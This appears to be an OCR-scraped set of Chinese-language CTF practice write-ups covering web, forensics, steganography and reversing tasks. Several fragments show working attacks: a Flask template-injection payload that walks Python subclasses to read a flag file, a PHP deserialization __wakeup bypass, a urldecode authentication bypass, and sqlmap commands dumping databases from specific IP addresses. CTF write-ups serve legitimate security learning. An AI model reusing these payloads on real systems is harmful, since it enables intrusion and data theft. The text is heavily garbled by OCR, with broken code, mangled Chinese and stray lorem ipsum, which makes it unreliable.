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Not Found

The requested URL /login.php was not found on this server.

Apache/2.4.10 (Debian) Server at 111.198.29.45 Port 30251
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<!DOCTYPE HTML PUBLIC "—//IETF//DTD HTML 2. 0//EN">

<html><head>

{title>404 Not Found</title>

</head><body>

<hl>Not Found</hl>

{p>The requested URL /login.php was not found on this server.</p>
<hr>

{address>Apache/2.4. 10 (Debian) Server at 111.198.29.45 Port 30251</address>
¢/body></html>

{!—Flag @ /opt/flag lde36dff62a3ab4decfbcbel fdZ2ef0adl. txt—>
{I—=Salt @ /opt/salt b420e8cfb8862548e68459aeld37alds. txt—>
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Not Found
The requested URLas not found on this server.

Apache/2.4.10 (Debian) Server at 111.198.29.45 Port 30251
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Not Found

The requested URL /<Config {JSON_AS_ASCII" True, 'USE_X SENDFILE" False, 'SESSION_COOKIE_SECURE": False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': Nonhe,
'SESSION_COOKIE_NAME': 'session’, '"MAX_COOKIE_SIZE": 4093, 'SESSION_COOQKIE_SAMESITE": None, 'PROPAGATE_EXCEPTIONS": None, 'ENV": 'production’, 'DEBUG": False, 'SECRET_KEY": None,
'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT": '/*, 'SERVER_NAME'": None, 'PREFERRED_URL_SCHEME": 'http’, 'JSONIFY_PRETTYPRINT REGULAR" False,
'TESTING": False, 'PERMANENT_SESSION_LIFETIME": datetime.timedelta(31), 'TEMPLATES AUTO RELOAD': None, 'TRAP_BAD_REQUEST ERRORS'": None, 'JSON_SORT KEYS': True, 'JSONIFY_MIMETYPE":
‘application/json’, 'SESSION_COOQKIE_HTTPONLY": True, 'SEND_FILE MAX_AGE_DEFAULT": datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None,
'SESSION_REFRESH_EACH_REQUEST": True, 'TRAP_HTTP_EXCEPTIONS': False}> was not found on this server.
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{{'"[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag lde36dff62a3a54ecfbcbelfd2efOadl.txt")[

request.args.d]()}}?a=__class_ &-=__mro__ &c=__subclasses__ &d=read
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<« C | @ == | 111.198.29.45:30474/index.phps

<Fphp

1f("admin”===3_GET[id]} {
echo("<prnot allowed! <fp>");
exitl();

}

$.GET[id] = urldecode($_GET[idl):
1f(3 GET[id] == “admin™)
{
echo “<prAccess granted! </ p>”
echo “<prEey: xxxxzzx </p>”;

}
T

Can vou anthenticate to this webslte?
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Access granted!
Key: xctf{242ecb4f8ed4fb9b5dc3be66173dbab43}

Can you anthenticate to this website?
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Hacker News

OVERVIEW

Search news

News

Hello
Hello World!
Two Zero-Day Exploits Found After Someone Uploaded
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BRBRARENA:

python2 sqlmap.py -u "http://111.198.29.45:30407/?id=1"
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python2 sqlmap.py -u "http://111.198.29.45:30407/?id=1" --dbs
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python2 sqlmap.py -u "http://111.198.29.45:30407/?id=1" -D ¥#EE4 --tables

- ZIEZE

python2 sqglmap.py -u "http://111.198.29.45:30407/?id=1" -D H¥EESL -T X4 --cloumns

- =228

python2 sqlmap.py -u "http://111.198.29.45:30407/?id=1" -D ¥iEEL -T £& -C "FB" --dump

BT REFpostRAKEN
BB EE

python2 sqlmap.py -u "http://47.96.118.255:33066/" --forms --dbs

postRAYHITE NS HEE, BRikymtar A

from stored

python2 sqlmap.py -u "http://47.96.118.255:33066/" --forms -D news --tables

BB

python2 sqlmap.py -u "http://47.96.118.255:33066/" --forms -D news -T secret_table --dump
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<?php

class xctf

{

public $flag = "1117;

public function _wakeup()
{

exit('bad requests’);

}

}

//echo serialize(new xctf());
echo unserialize($_GET[ code']);
echo "flag{****}";

7>

HMphpFoltb R FFFIAHER R B EMREBEARE T, _ weakup()_ BERLERFFIIMLHIN R T ERERRE, WRFEB
T HANRE, BEEHIT_ weakup()__REBHIAE. XEHEHRERXHEK, $HiTexit(bad requests’),i A iTecho flag.fr EAFK
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HRE—TEFBFIINERGER

<?php
class xctf

{
}

echo serialize( xctf());
echo unserialize($_GET['code‘])ﬂ
echo "flag{****}";

> hitps://blog.csdn.net/gg_41954384

$flag "111";

O:4:"xctf":1:{s:4:"flag";s:3:"111";}flag{****}

0:fRFobject () , BF—MEA, REHA
b REXTBE T AT
xctf: XHR4

1L NEE AR
s: BIERA, sfFstring, iffFint
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111.198.29.45:32165/?code=0:4:"xctf":2:{s:4:"flag";s:3:" 111 ";}|
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Rules

® Each starter has $20

® Pay $2, and select 7 numbers. Comparing with the winning number:
® 2 same numbers: you win $5

® 3 same numbers: you win $20

® 4 same numbers: you win $300

® 5 same numbers: you win $1800

® 6 same numbers: you win $200000

® 7 same numbers: you win $5000000

XA AN R — B, BESLIREAE, AT A —A> Fflag k) 5T

Notice: You are offered a huge discount!

All items

Flag

$9990000

On Sale
buy the flag if you can

Buy
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function buy($req){

require_registered();

require_min_money(2);

$money = $ SESSION[ 'money’];
$numbers = $req[ 'numbers'];
$win_numbers = random _win_nums();
$same_count = 9;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}

S RE$same_count@ — AL #AZORIET(E, ML RERIRT .
BlE. IBEHAE, {“action”“buy’ ‘numbers”true true,true true true,true truel}, I i1 R php J9 R BRI MABR L 8L, STHF A R KR %
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ext3

extBRE=RI BXMHRA, BR—NHEXHRSA, FHTLnARIERZ. ERIBZLINUKKRITIRIEKIAHRA .
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:~/BME# strings linux | grep flag
: SWp

flag.txt;
flag.tx SWX
~root/Desktop/file/07avZhikgKgbF/flag. txt

KRIAFEAag S, IBEAFTITIR
—Fh 7R B #zbinwalk, OB R

/M E# binwalk -e linux
DECIMAL HEXADECIMAL DESCRIPTION

Linux EXT filesystem, rev
, UUID=cfed7bff-c377-403f-84ae-956ce3c9e3c9
1127744 Ox3EFCOB Executable script, shebang: "/usr/bin/env b
4127773 @x3EFCL1D Unix path: /stackoverflow.com/questions/134
inux-create-ran -directory-file-hierarchy
6468716 Ox62B46C Unix path: /media/test/o8/huas.txt

A — P77 R E R T R R AR R

:~/M E# sudo mount linux /mnt
:~/ME# cat /mnt/07avZhi gbF/flag. txt
at: /mnt/@7avZhikgKgbF/flag. txt AT B R

:~/B E# cat /mnt/07avZhikgKgbF/flag. txt
ZmxhZ3tzYWpiY2lienNrampjbmJoc232Y2pianN6Y3N6Ymt6ane=
.~/ m# ]

PR T B R H AR B — B P e, MR /Ebase64/f# pi vl LS Elflag T

give_you_flag
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X8 FR S22 N Fjava 5 B /NE R

RERR R0 MR ER/Y, HE

ef92lflag, AidE s, FrLMEHjavak g i T HEjd-gui

kREEBEFRENDG
-t cn.pysxt case 2:
||$ plane 64 printInfo(g, "R BEFFE, T—=KEFEEE", 40, 30, 300);
#~ 4] Bullet 63 break;
Explod case 3:
#-[1] Explode 67 printInfo(g, "&j. KEIFLIFFREE", S0, 150, 300);
#-[J] GameObject g break:
#~ 4] Plane case 4:
BN 0lancGameFrame 70 printlnfo(g, "tRiEFMAT—4EE", 50, 150, 300);
i 71 break;
=-i il case 5:
#-[J] Constant 73 printInfo(g, "fOSHEIT— 45 HREFREMBIEZEF~, 40, 30, 300);
- [J] GameUtil 74 break;
- [§] MyFrame case 6:
- 76 printInfo(g, "flag{RGFgaURhbGlfSmlud2FuQ2hpamk=}", 50, 150, 300);
=} images o By
|+|EE} explode }
-] ball.png }
[ bajpg 3
I plane.png public void printInfo(Graphics g, String str, int size, int x, int y)
{
9 Color c = g.getColor():
01 g.setColor (Color.RED);
92 Font f = new Font ("sRf&", 1, size);
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open("./gif/0.jpg","rb").read()
open("./gif/1.jpg","rb").read()

flag_binary = ""

for i in range(104):
with open("./gif/%d.jpg"%i,"rb") as f:
if f.read() == white:
flag_binary += "@"
else:
flag_binary += "1"

flag = ""

for i in range(len(flag_binary)/8):
flag += chr(int(flag_binary[i*8:(i+1)*8],2))//W1k, \I—4H, #H#H KN EIREHE NASCIIIG

print flag

SimpleRAR

TERTRMEE RN, BFXHFRAE TITAF, KEBERAAFMTUR, FEHTwpilt

AL WIinRAR:ZHRER - P4
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I E:vdownloadyfirefoxdyflag. rar: 3 “secret. png™ SLHEEFLT
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https://adworld.xctf.org.cn/task/writeup?type=misc&id=5102

stegano



—gkpdf, AR Z BT —#E 2 pdfEE Aword, Aidix

SehiFlkali pdfinfo— T, &E#Fflagh REINE

o stegano50.p

_I_
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Could this be the flag? :

KeiDii
reator: LaTeX /o/f
Producer:
reationDate:
ModDate:
agged:

serProperties:

14 65
14 85:

Fri Mar
Fri Mar
no
no
no

RI—Btbaseb4gmiG I w478, MBI RIAIHEAHAFHIER,
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find mr.morse text
33:50 2014 CST
33:50 2014 CST

blog
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sit amet, consectetur adipiscing elit. Cras faueibus odio ut metus vulputate, id laoreet magna
1iim vel arcu porttitor egestas. Vestibulum suscipit lorem sed sem faucibus rutrum. Nune diam
Maecenas nee urna at dolor mattis dictum sit amet at orci
erisque varius ligula, iaculis adipiscing dui. Duis eget.
cilisis et tortor commodo aliquam. Nulla feugiat, sem en molestie bibendum, leo nisi portiitor
ien libero id tellus. In enim lacus blandit porta ipsum. Donee sed nibh
eu, rutrum justo. Nulla facilisi. Duis gravida semper dui laoreet vulputate. Aenean quis tempor
us nulla, eu bibendum metus interdum in.Lorem ipsum dolor sit amet, consectetur adipiscing
» ut metus vulputate, id laoreet magna volutpat. Integer nec enim vel arcu porttitor egestas
mm sed sem faucibus rutrum. lis vitae auctor vehicula, i
slor mattis dictum sit amet at orei. Mauris condiment ing erat nec feugiat
adipiscing dui. Duis eget ullamcorper arcn. is et tortor commodo aliquam
e bibendum, leo nisi porttitor mass n libero id tellus

blandit porta ipsum. Donec sed nibh egestas, tristique manris eu, rutrum justo

stor vehieula, mterdum ut mi

lipiscing erat nee fengiat. Curabitur

sollicitudin a felis ¢

erdum ut mi

Nunc diam orci, cor

um ad; Curabitur
In

msan sap

fac

In enim I
Nulla fac
5 mulla, eu bibendum metus

a

woles

isi

i laoreet vulputate. Aenean quis tempor orci. Cras placerat le
m dolor sit amet, consectetur adipiscing elit. Cras £

or egestas. Vestibulum sus

ibus odio ut metus vulputate, id laoreet

ipit. Torem sed sem faucibus rutrum. Nunc

nec enim vel arcu port
e auctor vehicula, interdum ut mi. Maecs
lipiscing erat nec feugiat. Curabitur scelerisque varius ligula, iaculis adipiscing dui
cilisis et tortor commodo aliquam. Nulla feugiat, sem/eu molé
ien libero id tellus. In enim lacus, sollicitudin a felis quis, blandit porta ipsum. Donec
eu, rutrum justo. Nulla facilisi. Duis gravida semper dul laoreet vulputate. Aenean quis
21 bibendum metus interdum in.Lorem ipsum dolor consectetur adip
vulputate, id laoreet magna volutpat. Integer n 2 arcu portiitor egestas.
faucibus rutrum. Nune diam orc is vi icula, mterdum ut mi.
dictum sit amet 1g erat nec feugiat
adipiscing dui. Duis eget ullan is el tortor commodo aliquam|
ie bibendum, leo nisi porttitor massa, id ac :n libero id tellus.
blandit porta ipsum. Donee sofl nibh egestas, tristique mauris
Acnean quis tempor_or
etur adipiscingelit. Cras fa
. Vestibulum suscipit lorem sed sem fancibus rutrum. Nunce
dietum sit amet at orei
g dui. Duis eget

1as nec urna at dolor mattis dictum sit amet at orci.
Duis eget.
> bibendum, leo nisi porttitor

us nulla,

slor matt at orei. Maurls Curabitur
In enim I:

Nulla fac

rutrum justo.
s nulla, eu bibendum metus

i lnoreet, vulputate Cras placerat

m dolor sit amet, conse: ibus odio ut metus vulputate, id laoreet

nec enim vel arcu port
e auctor vehienla, interdum nt mi. Ma

lipiscing erat nee fengiat. | Curabitur sce

o1 egesta

nas nec urna at dolor matti

erisque varius ligula, inculis adipise
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NoFlagHere! NoFlagHere! NoFlagHera !XOOOOOOOOCOOOCOOOOCOOOGOMNN00NNNK
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ABAA AAABE BB AAABE AAAAA AAAAA AAAAB BBA AAABBLorem ipsum dolor sit amet, con
elit. Cras faucibus odio ut metus vulputate, id laoreet magnavolutp Integ
u porttitor egestas. Vestibulum suscipit lorem sed sem faucibus rutrum. Nunc d
vitae auctor vehicula, interdum ut mi. Maecenas nec urna at dolor
amet at orci.Mauris condimentum adipiscing erat nec feugiat. Curabitur scel
la, daculis adipiscing dui. Duis egetullamcorper arcu. In facilisis et tortor
lulla feugiat, sem eu molestie bibendum, leo nisi porttitormassa, id accumsan s
lus. In enim lacus, sollicitudin a felis quis, blandit porta ipsum. Donec se

que mauris eu, rutrum justo. MNulla facilisi. Duis gravida semper dui laoreet v
uis tempororci. Cras erat lectus nulla, eu bibendum metus interdum
olor sit am tur adipiscingelit. Cras faucibus odio ut metus
aoreet magna Integer nec enim vel arcu porttitor egestas.Ve

rem sed sem faucibus rutrum. MNunc diam orci, convallis vitae auctor vehicula,

FRELIE4F T AIEABH # BB R B i T 3K, ARG RSt AT 7

B FEwWpHIE T B pdf jsiX MEAA B R, THAS

DOOCCOOGOOOGOC X000
A BBB BA BBA Al AB
B AA ABBBB A
< tur adipiscing
er nec enim vel arc
iamorci, convallis
mattis dictum sit
erisque varius ligu
commodo aliquam.

apien libero id tel
nibhegestas, tristi
ulputate. Aenean g
in.Lorem ipsum d
vulputate, id 1
ibulum suscipit lo

interdum ut mi.
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